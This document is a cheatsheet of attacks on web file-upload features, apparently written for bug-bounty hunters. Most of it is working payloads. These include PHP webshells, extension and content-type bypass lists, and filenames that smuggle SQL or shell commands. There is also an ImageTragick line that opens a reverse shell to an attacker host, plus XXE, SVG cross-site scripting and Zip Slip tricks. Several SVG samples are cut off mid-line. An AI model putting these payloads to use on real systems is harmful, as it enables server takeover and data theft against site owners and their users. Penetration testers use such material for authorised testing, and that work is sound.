File Upload Cheatsheet

Where to find

In upload file feature, for example upload photo profile feature

How to exploit

read also this pdf it conayin a many of ideas
1-https://github.com/Az0x7/vulnerability-Checklist/blob/main/File%20Upload/File-Upload.pdf by `0xAwali`
2-https://github.com/Az0x7/vulnerability-Checklist/blob/main/File%20Upload/Slides(1).pdf by `ebrahim hegazy`

1. Change the `Content-Type` value

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```

Change the Content-Type

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg
```

2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
Content-Type: application/x-php
```

Change the request to this

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
```

```
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```

3. Upload the payload, but start with GIF89a; and

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif

GIF89a; <?php system("id") ?>
```

And dont forget to change the content-type to image/gif

4. Bypass content length validation, it can be bypassed using small payload

```
(<?=`$_GET[x]`?>)
```

5. Using null byte in filename

```
file.php%00.gif
```

6. Using double extensions for the uploaded file

```
file.jpg.php
```

7. Uploading an unpopular php extensions (php4,php5,php6,phtml)

```
file.php5
```

8. Try to randomly capitalizes the file extension

```
file.pHP5
```

9. Mix the tips!

- Upload Function
  - Extensions Impact
    - `ASP` , `ASPX` , `PHP5` , `PHP` , `PHP3` : Webshell, RCE
    - `SVG` : Stored XSS, SSRF, XXE
    - `GIF` : Stored XSS, SSRF
    - `CSV` : CSV injection
    - `XML` : XXE
    - `AVI` : LFI, SSRF
    - `HTML` , `JS` : HTML injection, XSS, Open redirect
    - `PNG` , `JPEG` : Pixel flood attack (DoS)

    - `ZIP` : RCE via LFI, DoS
    - `PDF` , `PPTX` : SSRF, BLIND XXE
  - Blacklisting Bypass
    - PHP → `.phtm` , `phtml` , `.phps` , `.pht` , `.php2` , `.php3` , `.php4` , `.php5` , `.shtml` , `.phar` , `.pgif` , `.inc`
    - ASP → `asp` , `.aspx` , `.cer` , `.asa`
    - Jsp → `.jsp` , `.jspx` , `.jsw` , `.jsv` , `.jspf`
    - Coldfusion → `.cfm` , `.cfml` , `.cfc` , `.dbm`
    - Using random capitalization → `.pHp` , `.pHP5` , `.PhAr`
  - Whitelisting Bypass
    - `file.jpg.php`
    - `file.php.jpg`
    - `file.php.blah123jpg`
    - `file.php%00.jpg`
    - `file.php\x00.jpg` this can be done while uploading the file too, name it `file.phpD.jpg` and change the D (44) in hex to 00.
    - `file.php%00`
    - `file.php%20`
    - `file.php%0d%0a.jpg`
    - `file.php.....`
    - `file.php/`
    - `file.php.\`
    - `file.php#.png`
    - `file.`
    - `.html`
  - Vulnerabilities
    - [ ] Directory Traversal
      - Set filename `../../etc/passwd/logo.png`
      - Set filename `../../../logo.png` as it might changed the website logo.
    - [ ] SQL Injection
      - Set filename `'sleep(10).jpg` .
      - Set filename `sleep(10)-- -.jpg` .
    - [ ] Command Injection
      - Set filename `; sleep 10;`
    - [ ] SSRF
      - Abusing the "Upload from URL", if this image is going to be saved in some public site, you could also indicate a URL from IPlogger and steal information of every visitor.
      - SSRF Through `.svg` file.

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.
```

- [ ] ImageTragic

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port
pop graphic-context
```

- [ ] XXE
  - Upload using `.svg` file

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="ht
   <text font-size="40" x="0" y="16">&xxe;</text>
</svg>
```

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" w
    <image xlink:href="expect://ls"></image>
</svg>
```

  - Using excel file

- [ ] XSS
  - Set file name `filename="svg onload=alert(document.domain)>"` , `filename="58832_300x300.jpg<svg onload=confirm()>"`
  - Upload using `.gif` file

```
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
```

  - Upload using `.svg` file

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/D

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb
   <script type="text/javascript">
      alert("HolyBugx XSS");
   </script>
</svg>
```

- [ ] Open Redirect

a. Upload using `.svg` file

```
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,
</svg>
</code>
```

- Content-ish Bypass
    - [ ] Content-type validation
        - Upload `file.php` and change the `Content-type: application/x-php` or `Content-Type : application/octet-stream` to `Content-type: image/png` or `Content-type: image/gif` or `Content-type: image/jpg` .
    - [ ] Content-Length validation
        - Small PHP Shell

```
(<?=`$_GET[x]`?>)
```

    - [ ] Content Bypass Shell
        - If they check the Content. Add the text "GIF89a;" before you shell-code. (`Content-type: image/gif`)

```
GIF89a; <?php system($_GET['cmd']); ?>
```

- Misc
    - [ ] Uploading `file.js` & `file.config` (web.config)
    - [ ] Pixel flood attack using image
    - [ ] DoS with a large values name: `1234...99.png`
    - [ ] Zip Slip
        - If a site accepts `.zip` file, upload `.php` and compress it into `.zip` and upload it. Now visit, `site.com/path?page=zip://path/file.zip%23rce.php`
    - [ ] Image Shell
        - Exiftool is a great tool to view and manipulate exif-data. Then I will to rename the file `mv pic.jpg pic.php.jpg`

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' pic.jpg
```